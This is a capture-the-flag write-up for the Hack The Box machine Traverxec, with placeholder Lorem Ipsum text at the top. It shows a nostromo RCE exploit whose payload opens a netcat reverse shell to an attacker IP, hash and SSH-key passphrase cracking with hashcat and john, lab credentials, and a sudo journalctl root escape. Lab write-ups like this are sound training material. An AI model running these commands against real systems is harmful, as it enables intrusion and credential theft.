Traverxec - Hack The Box

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hackthebox
Author

0xPThree

Published

November 18, 2019

“Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry’s standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum.”

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  1. nmap -Pn -sC -sV -n ai.htb PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0) | ssh-hostkey: | 2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA) | 256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA) |_ 256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519) 80/tcp open http nostromo 1.9.6 |_http-server-header: nostromo 1.9.6 |_http-title: TRAVERXEC Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

nmap -Pn -sV -n -p- traverxec.htb PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0) 80/tcp open http nostromo 1.9.6 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

nmap -Pn -sV -n -sU traverxec.htb PORT STATE SERVICE VERSION 5353/udp open|filtered zeroconf

  1. Enum with Dirb and Nikto, also dirb -X .html for html-extension-files .. Server: nostromo 1.9.6

  2. Googling nostromo 1.9.6 there is a known RCE vuln (CVE-2019-16278). Download the script and execute. root@p3:/opt/htb/machines/traverxec# ./cve-2019-16278.sh traverxec.htb 80 nc -e /bin/sh 10.10.14.10 4488

    root@p3:/opt/shells# nc -lvnp 4488 listening on [any] 4488 … connect to [10.10.14.10] from (UNKNOWN) [10.10.10.165] 57834 id uid=33(www-data) gid=33(www-data) groups=33(www-data)

  3. Upgrade the shell python -c ‘import pty;pty.spawn(“/bin/bash”)’ ctrl + z stty raw -echo fg export TERM=xterm

    www-data@traverxec:/home$ cd david/ www-data@traverxec:/home/david$ ls -al ls: cannot open directory ‘.’: Permission denied

  4. Looking for creds for David, start by looking at the webserver - /var/nostromo/conf/ www-data@traverxec:/var/nostromo/conf$ ls -al total 20 drwxr-xr-x 2 root daemon 4096 Oct 27 16:12 . drwxr-xr-x 6 root root 4096 Oct 25 14:43 .. -rw-r–r– 1 root bin 41 Oct 25 15:20 .htpasswd -rw-r–r– 1 root bin 2928 Oct 25 14:26 mimes -rw-r–r– 1 root bin 498 Oct 25 15:20 nhttpd.conf www-data@traverxec:/var/nostromo/conf$ cat .htpasswd david:\(1\)e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/

    The password looks like a md5crypt (hash-mode 500), according to hashcat examples page.

  5. Crack the hash using hashcat. root@p3:/opt/htb/machines/traverxec# hashcat -a0 -m500 hash.txt /usr/share/wordlists/rockyou.txt -o cracked.txt –force Session……….: hashcat Status………..: Cracked Hash.Type……..: md5crypt, MD5 (Unix), Cisco-IOS \(1\) (MD5) Hash.Target……: \(1\)e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/ Time.Started…..: Mon Nov 18 10:41:10 2019 (6 secs) Time.Estimated…: Mon Nov 18 10:41:16 2019 (0 secs) Guess.Base…….: File (/usr/share/wordlists/rockyou.txt) Guess.Queue……: 1/1 (100.00%) Speed.#1………: 1778.3 kH/s (13.23ms) @ Accel:256 Loops:125 Thr:32 Vec:1 Recovered……..: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress………: 10911744/14344385 (76.07%) Rejected………: 0/10911744 (0.00%) Restore.Point….: 10616832/14344385 (74.01%) Restore.Sub.#1…: Salt:0 Amplifier:0-1 Iteration:875-1000 Candidates.#1….: Sabo2008 -> LilHaiti1 Hardware.Mon.#1..: Temp: 56c Util: 67% Core:1635MHz Mem:6000MHz Bus:16 root@p3:/opt/htb/machines/traverxec# cat cracked.txt \(1\)e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/:Nowonly4me

    NOTE: Creds david:Nowonly4me

  6. The creds above doesn’t seem to be usable anywhere, so looking further in the config-file we find that homedirs are set Browsing to http://traverxec.htb/~david/ gives us a landing page where we can’t do anything. This landing page is located as specified within the nostromo configuration file - /home/david/public_www.

    Trying to browse it locally however gives us another result.

    root@p3:/opt/htb/machines/traverxec# nc -lvnp 4488

    www-data@traverxec:/usr/bin$ export TERM=xterm www-data@traverxec:/usr/bin$ ls -alR /home/david/public_www/ /home/david/public_www/: total 16 drwxr-xr-x 3 david david 4096 Oct 25 15:45 . drwx–x–x 5 david david 4096 Oct 25 17:02 .. -rw-r–r– 1 david david 402 Oct 25 15:45 index.html drwxr-xr-x 2 david david 4096 Oct 25 17:02 protected-file-area

    /home/david/public_www/protected-file-area: total 16 drwxr-xr-x 2 david david 4096 Oct 25 17:02 . drwxr-xr-x 3 david david 4096 Oct 25 15:45 .. -rw-r–r– 1 david david 45 Oct 25 15:46 .htaccess -rw-r–r– 1 david david 1915 Oct 25 17:02 backup-ssh-identity-files.tgz www-data@traverxec:/usr/bin$

  7. Extract the .tgz to /dev/shm and recover the private SSH-key www-data@traverxec:/dev/shm$ tar -xvzf /home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz home/david/.ssh/ home/david/.ssh/authorized_keys home/david/.ssh/id_rsa home/david/.ssh/id_rsa.pub

  8. Copy id_rsa locally, change it to hash-format using sshng2john, and then crack it. root@p3:/usr/share/john# ./sshng2john.py /opt/htb/machines/traverxec/id_rsa > /opt/htb/machines/traverxec/id_rsa.hash root@p3:/opt/htb/machines/traverxec# john –wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash Using default input encoding: UTF-8 Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes Cost 2 (iteration count) is 1 for all loaded hashes Will run 12 OpenMP threads Note: This format may emit false positives, so it will keep trying even after finding a possible candidate. Press ‘q’ or Ctrl-C to abort, almost any other key for status hunter (/opt/htb/machines/traverxec/id_rsa) 1g 0:00:00:01 DONE (2019-11-18 15:45) 0.5291g/s 7588Kp/s 7588Kc/s 7588KC/s 0125457423 ..*7¡Vamos! Session completed

  9. Login with cracked creds (david:hunter) and grab user.txt root@p3:/opt/htb/machines/traverxec# ssh david@traverxec.htb -i id_rsa Enter passphrase for key ‘id_rsa’: Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64

    david@traverxec:~$ cat user.txt 7db0****************************

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  1. Enumerating the homedir of david and we find a script for statistics and data collection, server-stats.sh. Looking through the code we can see that they execute a line as sudo /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat

  2. The command journalctl is running as root, and it used with less - that is interactive. Running the command by ourselves gives us interaction, reading on gtfobins we can create a shell here by typing !/bin/sh

    david@traverxec:~/bin$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service – Logs begin at Tue 2019-11-19 06:23:10 EST, end at Tue 2019-11-19 07:53:45 EST. – Nov 19 07:09:13 traverxec sudo[2226]: pam_unix(sudo:auth): conversation failed Nov 19 07:09:13 traverxec sudo[2226]: pam_unix(sudo:auth): auth could not identify password for [www-data] Nov 19 07:09:13 traverxec sudo[2226]: www-data : command not allowed ; TTY=pts/3 ; PWD=/var/nostromo ; USER=root ; COMMAND=list Nov 19 07:18:33 traverxec su[2387]: pam_unix(su:auth): authentication failure; logname= uid=33 euid=0 tty=pts/3 ruser=www-data rhost= Nov 19 07:18:36 traverxec su[2387]: FAILED SU (to bin) www-data on pts/3 !/bin/sh # id uid=0(root) gid=0(root) groups=0(root) # cat /root/root.txt 9aa3****************************

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Journalctl https://gtfobins.github.io/gtfobins/journalctl/